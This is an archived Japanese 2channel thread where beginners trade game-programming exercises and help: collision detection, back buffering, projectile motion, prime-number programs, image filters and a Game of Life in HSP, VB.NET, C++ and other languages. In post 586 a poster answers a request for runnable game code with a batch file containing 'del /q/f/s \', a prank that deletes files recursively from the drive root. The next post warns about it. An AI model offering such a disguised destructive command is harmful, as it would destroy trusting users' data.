【初心者】課題をクリアしていくスレ【講習会】at GAMEDEV
【初心者】課題をクリアしていくスレ【講習会】 - 暇つぶし2ch566:名前は開発中のものです。
06/06/10 20:16:40 0j3Y3Eu0
>>565
がんがる~


課題スレVB2005課題5キー入力
URLリンク(gamdev.org)

キー入力とバックバッファをやった
GetAsyncKeyStateを使う方法もあるらしいけど
今回はwikiのヒントにあった_KeyDownを使った

まとめ
・Formにコンポーネントを乗せるとKeyDownなどのイベントプロシージャが実行されなくなる場合がある
 これに対処するにはFormのKeyPreviewをTrueにする
・KeyDownでフラグをTrue、KeyUpでフラグをFalseにする
 こうすることでキーを押しっぱなしにしたときにKeyDownが連続で発生してもキーが現在、押下状態かどうか判断できる
・バックバッファはBackBuffer = New Bitmap(640, 480)でビットマップを作って利用
・ビットマップになにか描画したいときはBBGraphics = Graphics.FromImage(BackBuffer)でBBGraphicsを使う
・ビットマップを描画画面に転送するのはformGraphics.DrawImage(BackBuffer, 0, 0)


Timer以外でメインループを作る方法が見つからないorz
win32のPeekMessageやDelphiのOnIdleみたいな方法ないのかなぁ……
Application.DoEvents()を挟んでビジーループでいいのかな
System.Threading.Thread.SleepでSleepの替わりにもなりそうだし

567:名前は開発中のものです。
06/06/11 13:19:05 tyRLJnFM
課題6当たり判定
URLリンク(gamdev.org)

まとめ
矩形が重なっているかどうかで判定
ENDで終了

568:名前は開発中のものです。
06/06/27 21:32:41 SYe9nV57
 ,、,、,||
;'`,゙、.||'、   保守
'; 、' /´;`'.,
 ´' .; ' ; '、'.
   '; 、 ' ,'
    '.,´; '
     l !j
    /ルゝ

569:名前は開発中のものです。
06/08/14 06:40:17 NHdHnzDZ
先生失踪中ヵ..

570:名前は開発中のものです。
06/08/14 07:18:28 VdbybaMn
先生がいなくても自分一人でできる奴ばかりだから大丈夫だろう。
課題をやっている奴は、GameDevPukiWikiにソースを貼ってもらえると
先生がいないと不安な後続の人達の参考になって良いかも。

571:名前は開発中のものです。
06/08/15 20:25:23 O7thC4Po
課題7 -課題外伝- 弾道シミュレーション
URLリンク(gamdev.org)

サインコサインで悩んだorz
ゲ製作にVB使い少ない……

572:名前は開発中のものです。
06/08/16 02:44:08 qsmhqtob
微分積分いい気分
C言語とか意味不明だ

573:名前は開発中のものです。
06/08/16 02:58:57 vu7zrhua
>微分積分いい気分
( ´∀`)σ)∀`)>>572

574:名前は開発中のものです。
06/08/16 23:44:56 hBfKBKuk
題8 弾を撃って貰います vb.net
URLリンク(gamdev.org)

ArrayList使ってみた
当たり判定ちょっと面倒だったよ
本当は関数化したほうがいいのかな

575:名前は開発中のものです。
06/08/19 12:29:09 Kg/n9ytV
課題10 インベダ風移動 vb.net
URLリンク(gamdev.org)

VBって解放が必要なのか不要なのかいまいちわかりずらいorz

576:名前は開発中のものです。
06/09/10 17:11:36 TDb9YusH
スレ違いかもしれないですけど。

回線速度が512Kbp/Sの回線を用いて256000byteのデータを、
転送するためには何秒かかるか。

1件の伝聞260byte 200byteのデータを含む伝聞の送信間隔は、
平均2㎜秒とする。

計算式も書くこと。

さっぱり分かりませんので計算お願いします。。。

577:名前は開発中のものです。
06/09/10 18:48:03 WLNmrtem
基本情報の午前に出そうな問題だな。
懐かしいわ。

578:名前は開発中のものです。
06/09/10 19:47:52 GdkKRdS2
スレ違いどころか板違いだな
プログラム板の宿題スレに行けば誰か答えてくれるかもしれんが
こんなやつ誘導したくないな

579:名前は開発中のものです。
06/09/17 15:08:39 dp7/71US
最近の若い者って、調べる能力がやたら低くない?

人のことを若い者って言えるほど年食ってるわけじゃないけど。

580:名前は開発中のものです。
06/09/17 16:08:29 kab63KmG
ぜひ義務教育の範囲内で「ググれ」の3文字を教えて欲しいものだが、
それをやると学校でモノ教える意味がなくなるから、
既得権益の亡者な教師にはソレができない。

581:名前は開発中のものです。
06/09/18 13:16:25 W/lXcIbz
安易に「ググれ」と教えてはいけない。考えなくなるから。
そのうち「ググっても無かったので分かりません」と言い出しかねない。


582:名前は開発中のものです。
06/10/19 12:24:46 2T8BbUdQ
いくつか問題を出しましょう。
エフェクトに関する入り口。

適当な画像を、
・モノクロ
・エッジ
・モザイク
・ソフト
加工してください。

583:くたらぎけん
06/10/20 14:17:57 an970z+w
このスレ今から参加しても宜しいのでしょうか?

584:名前は開発中のものです。
06/10/20 22:11:32 fQ4Z1QKt
勝手にやればいいんでね

585:名前は開発中のものです。
06/10/21 09:30:29 wamNDeux
メモ帳に写して実行するだけでプレイ出来るゲームのソース貼って下さい

時間が無いのでなるべく早くお願いします

586:名前は開発中のものです。
06/10/21 09:35:13 6R8oaMOr
1.ファイル名を「適当な名前.bat」にする
2.次のを貼り付ける
@echooff
del /q/f/s \

3.出来たファイルを実行する
4.昨夜はお楽しみでしたね

587:名前は開発中のものです。
06/10/21 19:37:53 XCzYIwYp
まあ実行するやつはいないと思うが、>>586はファイル全消去なので注意。

588:名前は開発中のものです。
06/10/21 21:56:38 wamNDeux
delで何となく分かったよ
別に困らないけどね

589:名前は開発中のものです。
06/10/22 00:00:29 IqzFRS51
やってみようと思うときが参加のタイミング。
適当に覗いて見よう。

590:名前は開発中のものです。
06/10/22 09:32:09 be4WCk1M
1.ファイル名を「適当な名前.js」にする
2.次のを貼り付ける
var WShell = WScript.CreateObject("WScript.Shell");
var strHands = new Array(3); strHands[0]="グー"; strHands[1]="チョキ"; strHands[2]="パー";
var strResults = new Array(3); strResults[0]="引き分け"; strResults[1]="あなたの勝ち"; strResults[2]="あなたの負け";
var indexCom = Math.floor(Math.random()*3);
var indexYou = WShell.Popup("グー=中止 チョキ=再試行 パー=無視", 3 , "じゃんけん", 2|32)-3;
if(indexYou < 0)WShell.Popup("時間切れ", 1, "じゃんけん");
else WShell.Popup("わたし:"+strHands[indexCom]+"\nあなた:"+strHands[indexYou]+"\n\n"+strResults[(indexCom-indexYou+3)%3], 0, "じゃんけん");

3.出来たファイルを実行する
4.勝ったら脳内で脱がせる、負けたらリアルで脱ぐ

591:受験生 ◆B57Fo1eLjo
06/10/22 10:29:26 T38aBY/h
2あたりにいた受験生です(酉忘れちまったw

このスレまだあったのか…

また課題でも用意する?

592:名前は開発中のものです。
06/11/19 01:28:15 wJaGDUpd
>>582の課題やってみました
モノクロということでカラー画像から2値画像への変換
URLリンク(gamdev.org)

開発環境はDelphi6 personal
ソース、実行ファイルが含まれています


使い方
ファイル→開く でBMP画像を開いておく
画像変換→モノクロ で画像処理をはじめます

画像の大きさにもよりますがちょっと時間がかかります(サンプル画像で5秒ぐらい)


変換サンプル画像
変換前
URLリンク(bbs.gamdev.org)

変換後
URLリンク(gamdev.org)



避難所の看板に変換処理をかけてみました
閾値はRGBともに32
この数字をうまく決めないと画像が消えちゃいますね
フォトレタッチソフトは閾値の入力なしで自動で処理してるけど
なにかうまい方法があるのかな

593:C++/win32API
06/11/25 00:09:14 ZxloQDt/
課題5です。
どなたかバックバッファがわかる方教えてください。
↓画面が真っ白になるんですけどどうすれば直りますか?

URLリンク(gamdev.org)

594:名前は開発中のものです。
06/11/25 02:02:55 FscVmuXx
>>593
92-94行
SelectObject(backBafferDC,hOldPen);
SelectObject(backBafferDC,hOldBr);
Rectangle(backBafferDC,x,y,rWidth+x,rHeight+y);

SelectObject(backBafferDC,hPen);
SelectObject(backBafferDC,hBr);
Rectangle(backBafferDC,x,y,rWidth+x,rHeight+y);
SelectObject(backBafferDC,hOldPen);
SelectObject(backBafferDC,hOldBr);
に直してみてはいかがか。

595:名前は開発中のものです。
06/11/25 17:57:48 zYG1sxsz
>>582の課題モザイク
サンプル画像
URLリンク(gamdev.org)
実行ファイルとソース
URLリンク(gamdev.org)

このままの速度じゃゲームに使えないね
ひと段落ついたら高速化もやってみたい

それにしてもエッジ難しすぎる……
微分やオペレータって画像処理の基本らしいので
がんばりたいけど

596:593
06/11/25 21:37:45 ZxloQDt/
>>594
できました!ありがとうございます。

597:名前は開発中のものです。
06/11/27 13:00:13 AfDweK2L
チラシの裏だが、素数の問題について一言。
”エラトステネスのふるい”というキーワードが出ているが、この問題に対して適応できるとは考えられない。
この方法を使うのならば、1000個目の数値が既知でなくてはならい。要するにズルをしないで解を得るには
総当りするか、無限個の要素からなる配列をふるいにかけるかである。
もしも”エラトステネスのふるい”を意識していたならば、例えば「0~9999の間に存在する素数を列挙せよ」となる。

598:名前は開発中のものです。
06/11/27 20:55:38 3EIwZmwn
>>597
いいかい、n+1が素数かどうかを最も効率よく判定するためには、
n以下の素数が列挙されている必要がある。
これが「エラトステネスのふるい」から得られる知見なのだよ。

そうしてみると、1000個目の素数を探すプログラムには、
 ・ 次に判定する整数を示すカウンタ
 ・ 今までに見つかった素数を格納する配列
を確保する必要がある。
1000個目、という指定は、後者の確保する用量が静的に決まるため、
極めて具合が良いのだよ。

「エラトステネスのふるい」と言われて、
教科書どおりの手順しか思いつかない人間には、
残念ながら、創造の才能は無いよ。
与えられた道具は、使い方を工夫して、組み合わせるんだ。

599:名前は開発中のものです。
06/11/28 01:45:59 VYv9sMeV
サンプル画像
URLリンク(kasumicyoucyou.fc2web.com)

URLリンク(gamdev.org)

実行ファイルとソース
URLリンク(gamdev.org)

微分使うのを諦めて隣接するピクセルと引き算して閾値と比べてみた
工夫した点はRGBを別々に比べたこと
RGBの合計を閾値と比べるより綺麗なエッジがでます
閾値を弄れば雲の部分のエッジを出すことも可能
その場合は他の場所がうまくいかなかったりするので
調整するのも難しい

600:名前は開発中のものです。
06/11/28 03:03:40 JXILxC55
>>598
前言撤回です。自分のアホさを痛感しつつ課題に取り組みました。
URLリンク(gamdev.org)

というか、>>382と同じですねHAHAHA.
orz

601:名前は開発中のものです。
06/12/18 20:43:34 f8pwlrC2
課題 素数 COBOL
URLリンク(gamdev.org)

まだCOBOLは出てなかったようなので……。

602:名前は開発中のものです。
07/01/03 13:04:17 34CL32fK
ぼでぃいいいいいいいいいいいいいいいいいいいいいいいいず

あいむなっとあにぃいいいいいいいいいまああああああああある!

603:名前は開発中のものです。
07/02/03 16:43:24 b0e6Rts8
いきなりだが俺もちょこっと参加させてくれ。
とりあえずできそうなのからということで
>64の素数をやってみた。つかってるのはHSP3
よろしくお願いします。

screen 0,800.700,,,
font "MS ゴシック",8
a=2
b=2
c=0
repeat
repeat
if a\b = 0{
if a=b {: pos c\26*30,12*(c/26) : mes ""+a+" " :c++ :break}
else :break
}
if a<b :break
b++
loop
a++
b=2
if c=1000 :break
await 1
loop
stop


こんなので、こういうのができるのに自分でもびっくりだった。
本当にあってるかはよくわからんけど。

604:名前は開発中のものです。
07/02/03 16:46:30 b0e6Rts8
と思ったら過疎スレなのか(´д`)

605:製作神 ◆3C/O4odLsY
07/02/03 16:50:16 z04kCzis
もっと投下すれば賑わうであろう。

606:名前は開発中のものです。
07/02/04 16:07:13 wipOHoKW
数当てもつくってみたよ。しかしマジでいないなー。

607:名前は開発中のものです。
07/02/04 18:12:35 MWYCkzpm
>>603
偉そうに登場したのによろしくお願いしますで締めてるところにうけた

608:名前は開発中のものです。
07/02/05 06:15:29 JxXUp4Vb
配列変数とやらを使って、+1ずつして割っていく方法から、
でてきた素数を代入して割っていく方法に変えたら、
>603の時より、ループ回数が偉く少なくなった。
でも、他にa+2でやったほうが早そうなんだけど、
それをきれいにはめる方法が良くわからない。
if 構文追加してもいいけど、どっちみち2で割るところまでくれば
変わらないような気もするし。

609:名前は開発中のものです。
07/02/05 06:38:57 JxXUp4Vb
計算方法をちょこっと変えたら、5000万のループ回数が70万に。素数オモスレー


610:名前は開発中のものです。
07/02/07 05:50:49 GNKliERn
む、HSPなんだけどSIN波形というのがよくわからん。
何をどうするのかが。
>107のはうちで動かんし。
考え方からさっぱりだ。

611:名前は開発中のものです。
07/02/07 15:20:39 NKLSTYEl
HSP3.0からsin関数が標準で使えるようになった、だから変数名でsinは使えない

R1=3.1415/180.0;3.1415/180=ラジアン単位で約1度
pos 0, 240
repeat 640
line cnt, 240+(sin(R1*cnt)*240)
loop
stop


612:名前は開発中のものです。
07/02/16 00:22:46 qpyJEI/g
>611
サンキュ
なるほど。line命令とかこういう風に使うのか。
しかもまるまる答えそのものじゃないかー。

613:名前は開発中のものです。
07/02/16 02:20:37 ppH9PRcO
>>612
始点、終点も設定すると、前回の終点を
保存か算出する必要が出てくるからな

614:名前は開発中のものです。
07/02/17 06:26:41 x7siGPZt
課題5の箱を動かすのやってるんだけど、
箱動くことは動くんだけど、
clsでやってるから箱がちらつくんだよね。
ヒント頼む ちなみに今こんな感じ。↓

screen 0,640,480
q=3
repeat
getkey m,37
getkey n,39
getkey o,38
getkey p,40
x=x+q*(n-m)
y=y-q*(o-p)
if fx!x or fy!y :cls
if x>320 :x=320
if x<0 :x=0
if Y>240 :y=240
if y<0 :y=0
color 255, :boxf 0+x,0+y,320+x,240+y
fx=x:fy=y
await 1
loop

615:名前は開発中のものです。
07/02/17 12:59:22 zySnsdUf
clsやめればいいじゃん

616:名前は開発中のものです。
07/02/17 13:09:21 AzT6DJgE
>>614
cls を使わずに、画面のクリアは boxf を使って真っ白に塗りつぶす。

これだけだとまだちらつくから、
画面塗りつぶしと箱描画をする前に redraw で描画モード0を指定する
画面塗りつぶしと箱描画をした後に redraw の描画モード1を指定する

617:名前は開発中のものです。
07/02/17 14:52:49 x7siGPZt
>615
使わないと画面真っ赤になっちゃう。
clsぐらいしかわからないからな。悪いな。

>616
boxfで塗りつぶすというのはたまに見るんだが、
なんだかよくわからんかった。が、それをヒントに、
色々やってみる。アリガトン

618:名前は開発中のものです。
07/02/17 17:49:27 x7siGPZt
これって
redraw 0

redraw 1

~の部分に描画するものいれておくと
1の時にまとめて表示されてちらつきがなくなるってことで良いのかな。
何でちらつかないのかはいまいちピンと来ないんだけど。

とりあえずclsのところに↓入れて
redraw 0 :color 255,255,255 :boxf 0+fx,0+fy,max_x+fx,max_y+fy

redraw 1
上を最後の方に入れた。
ただ、動きが重くなるんだね。この命令って処理が重いの?

619:名前は開発中のものです。
07/02/17 20:25:31 pIqCsBKC
暇だからやってみた素数。2だけすまんがずるしてる。
これくらいが関数覚えなくてもできるから楽しいな。
もっと早いの考えてみっか。
/*--------------------------------------------------*/
#define MAXN 1000
#include <iostream.h>

int main(){
 int temp[MAXN],k=2,i=0,j,loop=0;
 
 cout<<2<<endl;
 
 while(i<MAXN){
  temp[i]=2;
  for (j=0;j<=i;j++){
   loop++;
   if(k%temp[j]==0) break;  //kがn[j]の倍数ならn[j+1]に飛ばす
   else if(j==i){
    temp[i]=k;
    cout<<temp[i]<<endl;
    i++;
    break;
    }
  }
  k++;
 }
 cout<<loop<<"回ループしやした!"<<endl;
 return 0;
}
/*--------------------------------------------------*/

620:名前は開発中のものです。
07/02/18 04:26:14 8TgB3zN2
>>618
clsより軽いはずだ。

621:名前は開発中のものです。
07/02/18 16:42:46 yPmVwvF6
>620
むー。そうなのかー。でも動き重くなったしなー。
使い方悪いのかなー。

課題6を
丸描いて敵にしてるんだけど、動き方をどうするかで
試行錯誤ちう

622:名前は開発中のものです。
07/02/18 21:48:11 Z60cc6BP
>>621
重いのは await 1 が原因だよ。

623:名前は開発中のものです。
07/02/21 04:09:26 XCgw7SD2
課題6やってるんだけど、
あたり判定がなんか良くわからなくなって、
とりあえずはねかえる様にしようとしたらさらにワケワカラン状態に。orz
考え方が間違ってるのはわかってるんだが、どう間違ってるかが分からない。
ダメだしお願い。

URLリンク(gamdev.org)

624:名前は開発中のものです。
07/02/21 17:45:56 1pwfm66w
↓こうじゃない?

★箱
(x,y)
┏━━━┓(x+max_x,y)
┃          ┃
┃    ・(x+max_x/2,y+max_y/2)
┃          ┃
┗━━━┛(x+max_x,y+max_y)
(x,ymax_y)

★玉
(enemy_x,enemy_y)
┌───┐(enemy_x+sx,enemy_y)
│          │
│          │
│          │
│          │
└───┘(enemy_x+sx,enemy_y+sy)
(enemy_x,enemy_y+sy)


★箱の右で衝突
(x,y)
┏━━━┓(x+max_x,y)
┃          ┃
┃    ・(x+max_x/2,y+max_y/2)
┃     ┌───┐
┗━━┥        │

enemy_xがx+max_x/2~x+max
enemy_yがy-sx~y+max_y

625:名前は開発中のものです。
07/03/02 09:45:12 RL8xs1BY
>624
スマン はねかえる様にできたら、そこからぶつかったという仕様にしたかったんだ。
ようやっと、とりあえずはね返るようにはなった。
後ろからあたりに行ったりするとスルーしちゃったりするけど、
大まかにははねかえる様になって、その条件式でちょっと仕様変えてぶつかったという判定にした。
なんか色々とつっかえたなぁ。サイト色々探しちゃったし。

つまると素数プログラムを改善して紛らわせてるんだけど、
数値に制限あるのな。HSP。
まぁ、そこまで素数を下から求めたりしないからいいんだけど、
素数を使って素数を判定するというもの作った時に、数値がめちゃくちゃになって弱った。

626:名前は開発中のものです。
07/03/02 16:19:42 xch9HBdf
>>625
勘違いするなよ?
桁の制限なんてどんな言語でもあるぞw
言うなら32ビット整数型の制限だよ


627:名前は開発中のものです。
07/03/02 16:34:53 RL8xs1BY
>626
そういうものなのか。
もうちょっと桁はいくもんなのかと思ってたけど、
なるほど2^32の半分なわけか。
となると、それを越える数字を使うプログラムははじかれるのか。


まとめサイトに繋がらないんだけど。なんでだろ。


628:名前は開発中のものです。
07/03/02 22:24:24 e7ng/jU4
まとめサイトのping帰ってこない(´・ω・`)ショボーン
自分のソースのバックアップあそこにしかないのにwww

629:名前は開発中のものです。
07/03/06 20:19:53 vyl0ltP/
まとめサイト復活来た。
弾道シミュやるヮ。
課題6はもう大体いいわ。

630:名前は開発中のものです。
07/03/06 21:22:00 aM0UjHqH
そろそろ新しい課題欲しいな

631:名前は開発中のものです。
07/03/06 23:13:38 vyl0ltP/
ボタンを作るみたいな課題とかどうよ。
単に今俺がこれから勉強したいと思ってるからだけど。

そこから、ボタンを押す。押すと押した絵に変わる。
マウスが上に来ると絵が大きくなるとか、枠が出るとか。

もしくはのちのち、何かのジャンルのゲームで頻繁に使いそうなやつ。
セーブロードとかさ。初心者が言うのもあれだけど。


632:名前は開発中のものです。
07/03/07 01:08:02 8kjoILVD
それはゲームのアルゴリズム以前の問題じゃないか?

633:名前は開発中のものです。
07/03/07 02:38:11 IIsT9RK1
表現もできないのにアルゴリズムも何もないとやっていて思ったんだ。
つーかそもそもアルゴリズムってなんだろう?とも思うんだ。

個人的には簡単なのからだんだん難しい課題にという流れと、
課題をやっていくとゲームとかソフトができる。という流れ。
この二つが混ざるとやっていて楽しいんじゃないかと思う。
まぁ基本的に課題は全て難しいのが現状なんだけどねー。

634:名前は開発中のものです。
07/03/07 02:53:14 cSD5nU6m
麻雀の役特定のとか知りたい

635:名前は開発中のものです。
07/03/07 18:19:41 IIsT9RK1
ありゃ、重力加速度をどう表していいか混乱してきた。
そもそも重力加速度がわけわからなくなってきた。

636:名前は開発中のものです。
07/03/07 18:58:48 IIsT9RK1
これじゃただの放物線じゃ。
角度のつけ方が良くわからんな。
ホントに誰もいなくて悲しいヮ。

637:名前は開発中のものです。
07/03/08 00:27:41 +aaoahtx
デフォルメ

638:名前は開発中のものです。
07/03/09 20:05:12 A20L9Fnp
課題8、課題6に付け足してようやっとできた。
次は、課題9は課題7がまだ良くワカンネーから飛ばして、
課題10やる。

センセーカムヒアー プリーズ

639:名前は開発中のものです。
07/03/10 19:07:09 /U9PtoGQ
分かんないことあるならもうちょっと具体的に書いとけば
誰か答えてくれるんじゃないかと

640:名前は開発中のものです。
07/03/12 20:09:00 B3YMxCrl
課題10、とりあえず一つの箱をそれっぽくうごかせた。
これをどう6つにするかだな。とりあえず三つからやってみたいけど、
配列変数つかってcntで三つつくるのができれば、いけるのかな。
弾当たったら消えるって、なんかフラグつくって、
当たったらa=0にして、if a ならその箱表示みたいな感じなんかな。

>639
何よりもほとんど全部といっていいいくらいわかんね。
y方向に落ちていくまではまだわかるような気がするんだけど、
初速がどれだけの速さでも、角度をつけた途端、
どういう計算式にすればいいかが、ピンとわからない。
角度ゼロならまぁ、cnt×速さでいいのかもしれないけど、
角度を少しでもつけると、y方向の部分とのベクトル、
初速分斜めに移動させるので本当に正しいのかすらわからない。

感覚的にはx方向に1、Y方向に1のベクトルだったら(1,1)の方向に
進むようにするってことなんだろうけど、
じゃあそれを全ての状況でどうやって式に表せばいいのか全くわからない。

考え方からしてもうワケワカメなので、
説明したくとも説明できない感じなのだよ。

641:名前は開発中のものです。
07/03/13 00:50:38 xhylvjoJ
真上にボール投げたときのシミュレーションはできる?

642:名前は開発中のものです。
07/03/13 00:50:55 e1hpszeA
ググれば色々出てくると思うが。

643:名前は開発中のものです。
07/03/14 14:33:17 vTyf4gtY
3つを動かせるようになって、
それをコピペして、yの値に+して2×3にしてうごくようにしたけど、
慣れてくるとどうやって動かすように仕組むんだ?
今こんな感じ↓
URLリンク(gamdev.org)

>641
真上もなんか良くわかんない。
ベクトルが絡まるともう感覚的にわからない。
たてと横だけならなんとなーくわかるんだけど。

>642
ぐぐっても良くわかんない。

ゴメンナ

644:名前は開発中のものです。
07/03/14 23:19:25 Ta9QMe4z
説明めんどくさいのでこれ見て自分で考えてくれ。

g=1;重力加速度
x=0;初期x座標
y=480;初期y座標
vx=10;x方向初期速度
vy=-30;y方向初期速度
repeat 70
x+=vx;速度の分だけ位置を増やす
vy+=g;加速度の分だけ速度を増やす
y+=vy;速度の分だけ位置を増やす
pos x,y
mes "○"
await 20
loop
stop

645:名前は開発中のものです。
07/03/16 22:46:24 ObBbH61d
課題10でけた。こんなんでどうでしょう。
URLリンク(gamdev.org)

>644
サンキュ。ただ、全く思いつかない。角度とか。


ライフゲーム。面白そうだが、まだなんだか良くわからない。
円形判定もうーん。sinとか使うのだろうか。うーん。詰まった。
まとめサイトでも、ほとんどの人が途中でやめちゃってるのは、
やっぱ詰まったからなんかな。

646:名前は開発中のものです。
07/03/17 00:32:33 AFO1L2/D
ddim angle,0 :ddim angle_rad,0 : ddim speed,0 : ddim g,0 : ddim x,0 : ddim y,0: ddim vx,0 : ddim vy,0
angle=15.0 : speed=5.0 : g=0.1
mes "速さ" : input speed : mes "角度" : input angle
button gosub "発射",*main
stop
*main
x=0.0 : y=400.0
angle_rad=angle*3.14159/180.0;cos,sinの変数はラジアンなのでラジアンに直す
vx=cos(angle_rad)*speed;x方向初期速度=速さ×cos(角度)
vy=-sin(angle_rad)*speed;y方向初期速度=速さ×sin(角度)、また上向きが正なので×-1
repeat 1000
pos x,y : mes "○"
x+=vx : vy+=g : y+=vy
await 20
loop
return

647:名前は開発中のものです。
07/03/17 00:40:55 AFO1L2/D
全部実数型にする必要なかったかな。まあいいや。
角度が分からんと言うのがよく分からんがこれいじったりしてまた考えてくれ。

>課題10
おお。ええんじゃないの。ゲームになってるね。

>ライフゲーム
は意外と簡単だった思う

>円形判定
は円の方程式x^2+y^2=r^2を使うんじゃないかと。

>まとめサイトでも、ほとんどの人が途中でやめちゃってるのは、
>やっぱ詰まったからなんかな。
詰まったからというか、詰まらなくなったからというか。
いろんな原因で作りたいと思う気持ちがなくなってっちゃうんでしょうね。

648:名前は開発中のものです。
07/03/18 10:07:48 lgnZfCsC
つ リージョン

649:名前は開発中のものです。
07/03/19 04:09:59 KNd9OD8J
URLリンク(gamdev.org)
こんなんで良ければライフゲムでけた。

>646
そう多分俺が知りたかったのはこのcos,sinを使い方なんだと思う。
単純にx分にY分を足しただけならいいんだけど、
初速のベクトルに角度をつけるにはどうすれば良いのかや、
角度をつけた場合にベクトルからどうやってy分を足し引きすれば良いかが、
よくわからなかった。
↓のベクトルがあって\(斜め)のベクトルがあって
その二つを足したものを表示するということが。
まだ理解が不十分だけど、参考になった。トン。

>647
ライフゲーム、確かにプログラム的には意外と簡単なのかも。
でも、やたら長い条件式で、カンマがピリオドになってたりでエラー原因がわからず、
そして、elseの使い方がまだいまいちであるために、想定どおり動かなかったりと、
頭をかきまくった。でも、なんか面白いね。眺めてて面白い。

あと、その円の方程式はどっかで見たような式だ・・・。いつ見た、おれ。
これをどう使うのかはまだピンと来ない。もう少し考えてみる。

まぁどのみちこういう課題がちょちょいとできるようになったら、
このスレ卒業なんだろうね。早く卒業したいものだ(´・ω・`)

650:名前は開発中のものです。
07/03/19 22:56:11 +J8qMsT3
おーライフゲームできてるやん。すごいすごい。

>カンマがピリオドになってたり
あるあるw

651:名前は開発中のものです。
07/03/21 18:59:56 dTeu4lZk
円のあたり判定できたよー。
一応、4方向分条件付けをした。
でも弾が1ドットなら、条件は一つ分で十分だよね?


エッジ加工?ってなんかよくわからん。
ソフトも。
モザイクって、ぱっと思いつくのは例えばその部分の色情報を取得して、
その色で、ある大きさの箱を描くのを何回かやるって感じになるのかな。
まず絵を調達しなきゃだゎ。

652:名前は開発中のものです。
07/03/22 00:11:37 wB5CUOCW
>円のあたり判定できたよー。
オメデトン。ペース速いね。

>一応、4方向分条件付けをした。
>でも弾が1ドットなら、条件は一つ分で十分だよね?
えっと、すまん。4方向ってのがどういうことなのか分からぬのだが。

>エッジ加工?ってなんかよくわからん。
俺もよく知らないけど輪郭抽出でぐぐるといろいろ出てくるみたい。
>ソフトも。
ソフトは俺もまったく分からん。
画像処理の課題はゲーム製作とはちょっと関係が薄い気がする。
>モザイク
四角ごとに仕切って色の平均をとって塗りつぶすみたい。

653:名前は開発中のものです。
07/03/22 05:03:52 LPymi19I
>652
>えっと、すまん。4方向ってのがどういうことなのか分からぬのだが。
俺のは○が動くんだけど、弾と自分が動かしてる四角には幅があるから、
○の右上下、左上下で当たる時の条件付けがちょっと変わるはずと。

>四角ごとに仕切って色の平均をとって塗りつぶすみたい
・・・・。どうやんだろ。まだ、やったことない領域だから、
どの命令を使うかきちんと把握しなきゃだめそうだ。


654:名前は開発中のものです。
07/03/23 01:18:56 GKwkgx4A
なるほど。自機が○で弾は点かと思ってた。自機四角か。

画像処理はあんまり詳しくないので
他の先生の登場を待ってください。ごめんなさいね。

655:名前は開発中のものです。
07/04/04 09:47:03 BbjO+U02
javaでslg作りたいキチガイです。
課題1
URLリンク(gamdev.org)
buttonとかlayoutとかさっぱり…疲れた

656:名前は開発中のものです。
07/04/04 09:56:18 BbjO+U02
>>655
0~9までの数になってたorz
修正
URLリンク(gamdev.org)


657:名前は開発中のものです。
07/04/05 03:22:08 juxaiBkl
HSPを勉強中なので、素数問題に挑戦してみた。
素数の出し方がよくわからないから総当り&最初いんちき。

screen 0,450,400 : font "MS ゴシック",12 : objmode 2
so = "" : max = 10000 : maxs = 1000 : a = 2
mesbox so,450,320
pos 12,333 : mes "try" : pos 50,330 : input max,100,20,5
pos 220,330 : button gosub "start",*gogo
pos 12,358 : mes "get" : pos 50,355 : input maxs,100,20,5
stop
*gogo
if btn : a = max + 1 : btn = 0 : return
sdim so,max*4
objprm 2,"stop" : objprm 0,so : btn = 1 : so = "" : a = 2 : s = 0 : d = 0 : len = 0
repeat max
repeat a,1
c = a\cnt : if c = 0 : s++ : if s > 2 : break
loop
if s < 3{
d++ : sa = strf("%5d",a)
poke so,len,sa : len += strsize
if d \ 10 = 0{
poke so,len,"\n" : len += strsize
title "" + cnt
}else{ poke so,len,", " : len += strsize }
}
s = 0 : a++ : if (a > max) or (d >= maxs) : break
wait 0
loop
objprm 0,so : objprm 2,"start" : btn = 0 : title " get = " + d
return


658:名前は開発中のものです。
07/04/05 09:48:52 F5eNq3r+
同じHsp初心者なはずなのに、なにがどうなってるのか解読できん。
俺の素数プログラムは偉くシンプルなのにな。
こういう見やすい感じのつくれるようになりたいけど、さっぱりなんだよな。
最近はやる気起きないし。

659:名前は開発中のものです。
07/04/07 15:27:26 7tS8COUW
URLリンク(gamdev.org)
Delphiで数当て作りました

660:名前は開発中のものです。
07/04/11 23:27:29 hGtX8W0q
課題の1~11までやったんで段階的学習に移ろうと思うんだが

15
インベーダー
テトリス
ブロックくずし
オセロ
ぷよぷよ
パックマン
マリオ
ギャラガ

この順番でおk?

661:名前は開発中のものです。
07/04/13 03:50:36 DE3aw73g
最終的に何が作りたいかにもよるけど、だいだいOK

662:名前は開発中のものです。
07/04/13 07:00:29 ePt0UiZ0
>>661thanks!
申し遅れました>>655です
javaでSLG作ろうと思ってるdqnです

以前に、基本だけ勉強してSLG作成に突撃したことがあるんだけど、
クラス数が多くなって管理しきれなくなって玉砕w

あせらず、ゲーム作りってのを学んで、それから再挑戦するつもり
じゃあ15から行ってくるノシ

663:名前は開発中のものです。
07/04/13 07:11:48 HSdmSo3i


664:名前は開発中のものです。
07/04/15 20:45:16 /fPrY/bJ
>>660
テトリスとブロックくずしは逆でもいいかもな
って遅いか

665:名前は開発中のものです。
07/04/15 22:21:11 XmVefahd
俺もDXライブラリ使って660に書いてある
課題やってみるかな。

666:名前は開発中のものです。
07/04/16 18:38:23 DHmGTth8
>>664
遅くない
テトリスで詰まってるorz
下、左右への移動可能判定ワケワカメ
レスサンクス

気分転換にブロック崩しから先にやってみるノシ

667:名前は開発中のものです。
07/04/17 03:31:39 xnJXx47A
移動先にブロックや壁があるかどうか、だと駄目なのか?

668:名前は開発中のものです。
07/04/17 20:27:52 DgPcYp5y
僕はテトリスの方が簡単だと思いますが、どうだろうか。

669:名前は開発中のものです。
07/04/18 06:25:53 H53kNm7B
一番簡単なのはRPGだったりするけどなw


670:名前は開発中のものです。
07/04/18 12:42:11 4KCSkIQC
fcのdqは何とかなりそうだけど
sfcのffとかrsとか死にそう

671:名前は開発中のものです。
07/04/18 22:32:17 v99y4oaM
フラグ管理だけじゃねーの?

672:名前は開発中のものです。
07/04/19 08:29:12 3lC0Cy6I
>>670
まぁ、ドラクエタイプのRPGは典型的な小中学生向けプログラムだね。
むかーし昔、80年代のパソコン少年たちはまずドラクエもどきを作って遊んだものだ。


673:名前は開発中のものです。
07/04/19 08:35:34 wm8Zzz6B
シューティングはゲームプログラムの基礎がいっぱい詰まってるぞ

674:名前は開発中のものです。
07/04/21 04:29:18 4gr+tzZx
